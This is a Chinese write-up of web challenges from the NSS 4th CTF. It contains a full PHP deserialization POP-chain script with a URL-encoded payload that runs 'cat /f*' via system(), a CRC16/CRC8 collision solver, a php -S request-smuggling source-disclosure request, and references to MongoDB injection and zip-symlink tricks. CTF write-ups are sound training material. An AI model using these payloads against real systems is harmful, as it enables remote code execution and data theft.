NSS_4th_web_WP

ez_signin

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
from flask import Flask, request, render_template, jsonify
from pymongo import MongoClient
import re

app = Flask(__name__)

client = MongoClient("mongodb://localhost:27017/")
db = client['aggie_bookstore']
books_collection = db['books']

def sanitize(input_str: str) -> str:
return re.sub(r'[^a-zA-Z0-9\s]', '', input_str)

@app.route('/')
def index():
return render_template('index.html', books=None)

@app.route('/search', methods=['GET', 'POST'])
def search():
query = {"$and": []}
books = []

if request.method == 'GET':
title = request.args.get('title', '').strip()
author = request.args.get('author', '').strip()

title_clean = sanitize(title)
author_clean = sanitize(author)

if title_clean:
query["$and"].append({"title": {"$eq": title_clean}})

if author_clean:
query["$and"].append({"author": {"$eq": author_clean}})

if query["$and"]:
books = list(books_collection.find(query))

return render_template('index.html', books=books)

elif request.method == 'POST':
if request.content_type == 'application/json':
try:
data = request.get_json(force=True)

title = data.get("title")
author = data.get("author")

if isinstance(title, str):
title = sanitize(title)
query["$and"].append({"title": title})
elif isinstance(title, dict):
query["$and"].append({"title": title})

if isinstance(author, str):
author = sanitize(author)
query["$and"].append({"author": author})
elif isinstance(author, dict):
query["$and"].append({"author": author})

if query["$and"]:
books = list(books_collection.find(query))
return jsonify([
{"title": b.get("title"), "author": b.get("author"), "description": b.get("description")} for b in books
])

return jsonify({"error": "Empty query"}), 400

except Exception as e:
return jsonify({"error": str(e)}), 500

return jsonify({"error": "Unsupported Content-Type"}), 400

if __name__ == "__main__":
app.run("0.0.0.0", 8000)

很明显是 MongoDB 注入

详见https://cloud.tencent.com/developer/article/1602092

直接拿到flag

EzCRC

打开环境,发现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
 <?php
error_reporting(0);
ini_set('display_errors', 0);
highlight_file(__FILE__);
function compute_crc16($data) {
$checksum = 0xFFFF;
for ($i = 0; $i < strlen($data); $i++) {
$checksum ^= ord($data[$i]);
for ($j = 0; $j < 8; $j++) {
if ($checksum & 1) {
$checksum = (($checksum >> 1) ^ 0xA001);
} else {
$checksum >>= 1;
}
}
}
return $checksum;
}

function calculate_crc8($input) {
static $crc8_table = [
0x00, 0x07, 0x0E, 0x09, 0x1C, 0x1B, 0x12, 0x15,
0x38, 0x3F, 0x36, 0x31, 0x24, 0x23, 0x2A, 0x2D,
0x70, 0x77, 0x7E, 0x79, 0x6C, 0x6B, 0x62, 0x65,
0x48, 0x4F, 0x46, 0x41, 0x54, 0x53, 0x5A, 0x5D,
0xE0, 0xE7, 0xEE, 0xE9, 0xFC, 0xFB, 0xF2, 0xF5,
0xD8, 0xDF, 0xD6, 0xD1, 0xC4, 0xC3, 0xCA, 0xCD,
0x90, 0x97, 0x9E, 0x99, 0x8C, 0x8B, 0x82, 0x85,
0xA8, 0xAF, 0xA6, 0xA1, 0xB4, 0xB3, 0xBA, 0xBD,
0xC7, 0xC0, 0xC9, 0xCE, 0xDB, 0xDC, 0xD5, 0xD2,
0xFF, 0xF8, 0xF1, 0xF6, 0xE3, 0xE4, 0xED, 0xEA,
0xB7, 0xB0, 0xB9, 0xBE, 0xAB, 0xAC, 0xA5, 0xA2,
0x8F, 0x88, 0x81, 0x86, 0x93, 0x94, 0x9D, 0x9A,
0x27, 0x20, 0x29, 0x2E, 0x3B, 0x3C, 0x35, 0x32,
0x1F, 0x18, 0x11, 0x16, 0x03, 0x04, 0x0D, 0x0A,
0x57, 0x50, 0x59, 0x5E, 0x4B, 0x4C, 0x45, 0x42,
0x6F, 0x68, 0x61, 0x66, 0x73, 0x74, 0x7D, 0x7A,
0x89, 0x8E, 0x87, 0x80, 0x95, 0x92, 0x9B, 0x9C,
0xB1, 0xB6, 0xBF, 0xB8, 0xAD, 0xAA, 0xA3, 0xA4,
0xF9, 0xFE, 0xF7, 0xF0, 0xE5, 0xE2, 0xEB, 0xEC,
0xC1, 0xC6, 0xCF, 0xC8, 0xDD, 0xDA, 0xD3, 0xD4,
0x69, 0x6E, 0x67, 0x60, 0x75, 0x72, 0x7B, 0x7C,
0x51, 0x56, 0x5F, 0x58, 0x4D, 0x4A, 0x43, 0x44,
0x19, 0x1E, 0x17, 0x10, 0x05, 0x02, 0x0B, 0x0C,
0x21, 0x26, 0x2F, 0x28, 0x3D, 0x3A, 0x33, 0x34,
0x4E, 0x49, 0x40, 0x47, 0x52, 0x55, 0x5C, 0x5B,
0x76, 0x71, 0x78, 0x7F, 0x6A, 0x6D, 0x64, 0x63,
0x3E, 0x39, 0x30, 0x37, 0x22, 0x25, 0x2C, 0x2B,
0x06, 0x01, 0x08, 0x0F, 0x1A, 0x1D, 0x14, 0x13,
0xAE, 0xA9, 0xA0, 0xA7, 0xB2, 0xB5, 0xBC, 0xBB,
0x96, 0x91, 0x98, 0x9F, 0x8A, 0x8D, 0x84, 0x83,
0xDE, 0xD9, 0xD0, 0xD7, 0xC2, 0xC5, 0xCC, 0xCB,
0xE6, 0xE1, 0xE8, 0xEF, 0xFA, 0xFD, 0xF4, 0xF3
];

$bytes = unpack('C*', $input);
$length = count($bytes);
$crc = 0;
for ($k = 1; $k <= $length; $k++) {
$crc = $crc8_table[($crc ^ $bytes[$k]) & 0xff];
}
return $crc & 0xff;
}

$SECRET_PASS = "Enj0yNSSCTF4th!";
include "flag.php";

if (isset($_POST['pass']) && strlen($SECRET_PASS) == strlen($_POST['pass'])) {
$correct_pass_crc16 = compute_crc16($SECRET_PASS);
$correct_pass_crc8 = calculate_crc8($SECRET_PASS);

$user_input = $_POST['pass'];
$user_pass_crc16 = compute_crc16($user_input);
$user_pass_crc8 = calculate_crc8($user_input);

if ($SECRET_PASS === $user_input) {
die("这样不行");
}

if ($correct_pass_crc16 !== $user_pass_crc16) {
die("这样也不行");
}

if ($correct_pass_crc8 !== $user_pass_crc8) {
die("这样还是不行吧");
}

$granted_access = true;

if ($granted_access) {
echo "都到这份上了,flag就给你了: $FLAG";
} else {
echo "不不不";
}
} else {
echo "再试试";
}

?>
  • CRC ≠ 加密,它只是校验值,用来检测数据完整性。
  • CRC 可以被碰撞,所以不能用作密码保护。

丢给AI一把梭了()

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
# -*- coding: utf-8 -*-
# run: python3 solve_crc_nullspace.py

from typing import List, Tuple

# ------------ CRC implementations (match the PHP implementation) -------------
def compute_crc16(data: bytes) -> int:
checksum = 0xFFFF
for b in data:
checksum ^= b
for _ in range(8):
if checksum & 1:
checksum = ((checksum >> 1) ^ 0xA001)
else:
checksum >>= 1
return checksum & 0xFFFF

crc8_table = [
0x00,0x07,0x0E,0x09,0x1C,0x1B,0x12,0x15,0x38,0x3F,0x36,0x31,0x24,0x23,0x2A,0x2D,
0x70,0x77,0x7E,0x79,0x6C,0x6B,0x62,0x65,0x48,0x4F,0x46,0x41,0x54,0x53,0x5A,0x5D,
0xE0,0xE7,0xEE,0xE9,0xFC,0xFB,0xF2,0xF5,0xD8,0xDF,0xD6,0xD1,0xC4,0xC3,0xCA,0xCD,
0x90,0x97,0x9E,0x99,0x8C,0x8B,0x82,0x85,0xA8,0xAF,0xA6,0xA1,0xB4,0xB3,0xBA,0xBD,
0xC7,0xC0,0xC9,0xCE,0xDB,0xDC,0xD5,0xD2,0xFF,0xF8,0xF1,0xF6,0xE3,0xE4,0xED,0xEA,
0xB7,0xB0,0xB9,0xBE,0xAB,0xAC,0xA5,0xA2,0x8F,0x88,0x81,0x86,0x93,0x94,0x9D,0x9A,
0x27,0x20,0x29,0x2E,0x3B,0x3C,0x35,0x32,0x1F,0x18,0x11,0x16,0x03,0x04,0x0D,0x0A,
0x57,0x50,0x59,0x5E,0x4B,0x4C,0x45,0x42,0x6F,0x68,0x61,0x66,0x73,0x74,0x7D,0x7A,
0x89,0x8E,0x87,0x80,0x95,0x92,0x9B,0x9C,0xB1,0xB6,0xBF,0xB8,0xAD,0xAA,0xA3,0xA4,
0xF9,0xFE,0xF7,0xF0,0xE5,0xE2,0xEB,0xEC,0xC1,0xC6,0xCF,0xC8,0xDD,0xDA,0xD3,0xD4,
0x69,0x6E,0x67,0x60,0x75,0x72,0x7B,0x7C,0x51,0x56,0x5F,0x58,0x4D,0x4A,0x43,0x44,
0x19,0x1E,0x17,0x10,0x05,0x02,0x0B,0x0C,0x21,0x26,0x2F,0x28,0x3D,0x3A,0x33,0x34,
0x4E,0x49,0x40,0x47,0x52,0x55,0x5C,0x5B,0x76,0x71,0x78,0x7F,0x6A,0x6D,0x64,0x63,
0x3E,0x39,0x30,0x37,0x22,0x25,0x2C,0x2B,0x06,0x01,0x08,0x0F,0x1A,0x1D,0x14,0x13,
0xAE,0xA9,0xA0,0xA7,0xB2,0xB5,0xBC,0xBB,0x96,0x91,0x98,0x9F,0x8A,0x8D,0x84,0x83,
0xDE,0xD9,0xD0,0xD7,0xC2,0xC5,0xCC,0xCB,0xE6,0xE1,0xE8,0xEF,0xFA,0xFD,0xF4,0xF3
]

def compute_crc8(data: bytes) -> int:
crc = 0
for b in data:
crc = crc8_table[(crc ^ b) & 0xff]
return crc & 0xff

# ------------- build matrix M (24 x 120) over GF(2) -------------
def bitvec_from_int(x: int, width: int) -> List[int]:
return [(x >> i) & 1 for i in range(width)] # LSB first

def build_matrix_for_length(byte_len: int = 15) -> Tuple[List[int], int, int]:
cols = byte_len * 8 # 120
rows = 24
mat = [0] * rows # each row is an int bitmask of length cols (we will store columns->rows mapping)
# For each column k (single-bit perturbation), compute CRC16/CRC8 contribution
for k in range(cols):
bindex = k // 8
bitpos = k % 8
# create a message with one bit set
msg = bytearray(byte_len)
msg[bindex] = 1 << bitpos
c16 = compute_crc16(bytes(msg))
c8 = compute_crc8(bytes(msg))
# represent c16 (16 bits) and c8 (8 bits) as rows
# For each of the 24 rows, set bit k if contribution has that bit set
for r in range(16):
if (c16 >> r) & 1:
mat[r] |= (1 << k)
for r in range(8):
if (c8 >> r) & 1:
mat[16 + r] |= (1 << k)
return mat, rows, cols

# ------------- GF(2) Gaussian elimination to find nullspace vector -------------
def gf2_nullspace_one_solution(mat: List[int], rows: int, cols: int) -> List[int]:
# We will perform elimination on a copy of mat but augmented with identity to back-solve free vars.
A = mat[:] # rows integers length cols bits
pivot_col = [-1] * rows
col_to_row = dict()
r = 0
for c in range(cols):
# find pivot row with bit c set at or below r
pivot = None
for i in range(r, rows):
if (A[i] >> c) & 1:
pivot = i
break
if pivot is None:
continue
# swap pivot row to r
if pivot != r:
A[r], A[pivot] = A[pivot], A[r]
pivot_col[r] = c
col_to_row[c] = r
# eliminate other rows
for i in range(rows):
if i != r and ((A[i] >> c) & 1):
A[i] ^= A[r]
r += 1
if r == rows:
break

# Now we have row-echelon form. Find a non-zero nullspace vector:
# Choose a free column (one not used as pivot) and set it = 1, then back-solve pivot columns.
pivot_cols = set([pc for pc in pivot_col if pc != -1])
free_cols = [c for c in range(cols) if c not in pivot_cols]
if not free_cols:
return [] # no non-trivial nullspace (unlikely here)
# pick first free col as 1, others 0
x = [0] * cols
free_choice = free_cols[0]
x[free_choice] = 1
# back-solve: for each pivot row (from bottom to top), compute its value
for i in range(rows-1, -1, -1):
pc = pivot_col[i]
if pc == -1:
continue
# row i equation: sum_j A[i]_j * x_j = 0
# but A was transformed; A[i] has bit 1 on pivot column pc
s = 0
rowmask = A[i]
# sum over all columns j != pc
# iterate through set bits of rowmask except pc
mask = rowmask & ~(1 << pc)
# compute parity of (mask & x)
# iterate bits:
while mask:
lb = mask & -mask
j = (lb.bit_length() - 1)
s ^= x[j]
mask ^= lb
# set x[pc] so that total parity is 0
x[pc] = s # because s ^ x[pc] == 0 -> x[pc] = s

return x

# ------------- helper to convert bit-vector to bytes -------------
def bits_to_bytes(bits: List[int]) -> bytes:
n = len(bits) // 8
ba = bytearray(n)
for i in range(len(bits)):
if bits[i]:
byte_idx = i // 8
bitpos = i % 8
ba[byte_idx] |= (1 << bitpos)
return bytes(ba)

# ---------------- main ----------------
if __name__ == "__main__":
byte_len = 15
target = b"Enj0yNSSCTF4th!" # 15 bytes (from the challenge)
print("target:", target)
t_crc16 = compute_crc16(target)
t_crc8 = compute_crc8(target)
print("target CRC16:", hex(t_crc16), "CRC8:", hex(t_crc8))

M, rows, cols = build_matrix_for_length(byte_len)
sol_bits = gf2_nullspace_one_solution(M, rows, cols)
if not sol_bits:
print("没有找到非零零空间解(非常罕见)")
exit(1)

delta = bits_to_bytes(sol_bits)
# make sure delta != 0
if set(delta) == {0}:
print("得到的 delta 全零,选择另一个自由列重试")
exit(1)

cand = bytes([target[i] ^ delta[i] for i in range(byte_len)])
print("delta (hex):", delta.hex())
print("candidate (hex):", cand.hex())
try:
print("candidate (ascii):", cand.decode())
except:
print("candidate contains non-printable bytes")
# verify
print("compute_crc16(candidate):", hex(compute_crc16(cand)))
print("compute_crc8(candidate): ", hex(compute_crc8(cand)))
assert compute_crc16(cand) == t_crc16 and compute_crc8(cand) == t_crc8 and cand != target
print("验证通过:candidate 与 target CRC 相同且不同字符串。")
# url-encode friendly output
import urllib.parse
print("url-encoded for POST:", urllib.parse.quote_from_bytes(cand))

得到字符串:J.n0yNSSCTF4th%21

post传入即可获取flag

[mpga]filesystem

简单的php反序列化题目

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
<?php

class ApplicationContext{
public $contextName;

public function __construct(){
$this->contextName = 'ApplicationContext';
}

public function __destruct(){
$this->contextName = strtolower($this->contextName);
}
}

class ContentProcessor{
private $processedContent;
public $callbackFunction="system";

public function __construct(){

$this->processedContent = new FunctionInvoker();
}

public function __get($key){

if (property_exists($this, $key)) {
if (is_object($this->$key) && is_string($this->callbackFunction)) {

$this->$key->{$this->callbackFunction}($_POST['cmd']);
}
}
}
}

class FileManager{
public $targetFile;
public $responseData = 'default_response';
public function performWriteOperation($var){

$targetObject = $this->targetFile;
$value = $targetObject->$var;
}

public function __toString(){
if (isset($_POST['method']) && method_exists($this, $_POST['method'])) {
$method = $_POST['method'];
$var = isset($_POST['var']) ? $_POST['var'] : null;
$this->$method($var);
}
return $this->responseData;
}
}

class FunctionInvoker{
}
$obj=new ApplicationContext();
$obj->contextName=new FileManager();
$obj->contextName->targetFile=new ContentProcessor();
echo urlencode(serialize($obj));

这里我本地的时候,private改成了public,没用urlencode,本地成功

远程的时候,发现就不行了,索性改回private,加上urlencode也是成功了

1
2
3
submit_md5&file_to_check=O%3A18%3A%22ApplicationContext%22%3A1%3A%7Bs%3A11%3A%22contextName%22%3BO%3A11%3A%22FileManager%22%3A2%3A%7Bs%3A10%3A%22targetFile%22%3BO%3A16%3A%22ContentProcessor%22%3A2%3A%7Bs%3A34%3A%22%00ContentProcessor%00processedContent%22%3BO%3A15%3A%22FunctionInvoker%22%3A2%3A%7Bs%3A12%3A%22functionName%22%3Bs%3A6%3A%22system%22%3Bs%3A17%3A%22functionArguments%22%3BN%3B%7Ds%3A16%3A%22callbackFunction%22%3Bs%3A6%3A%22system%22%3B%7Ds%3A12%3A%22responseData%22%3Bs%3A16%3A%22default_response%22%3B%7D%7D

&method=performWriteOperation&var=processedContent&cmd=cat /f*

success!

ez_upload

毫题!

进入,要求上传zip文件,但是无任何回显,咱也不知道内部逻辑是啥

这里毫无疑问想到权威的zip解压+软链接的权威原题

如果愿意复现,这道题也就到此为止了()


这里关注题目给了一个hint:php -S

这是直接起了一个php服务,有什么漏洞吗?

有的兄弟有的

是一个很经典的泄露源码的漏洞

附上原漏洞地址:https://projectdiscovery.io/blog/php-http-server-source-disclosure

关键在于

1
2
3
4
5
6
GET /index.php HTTP/1.1
Host: pd.research
\r\n
GET /xyz.xyz HTTP/1.1
\r\n
\r\n

注意关闭BP的自动Content-Length

那么这道题的话不知道为啥我这样不成功,成了

好了,现在确定了,一模一样的原题!!!

复现吧

https://www.cnblogs.com/gxngxngxn/p/17439035.html

最后也是成功拿到flag

总结

只有web简单的NSS 4th()

最大的收获是检索到了php -S这个洞了吧,之前没有接触过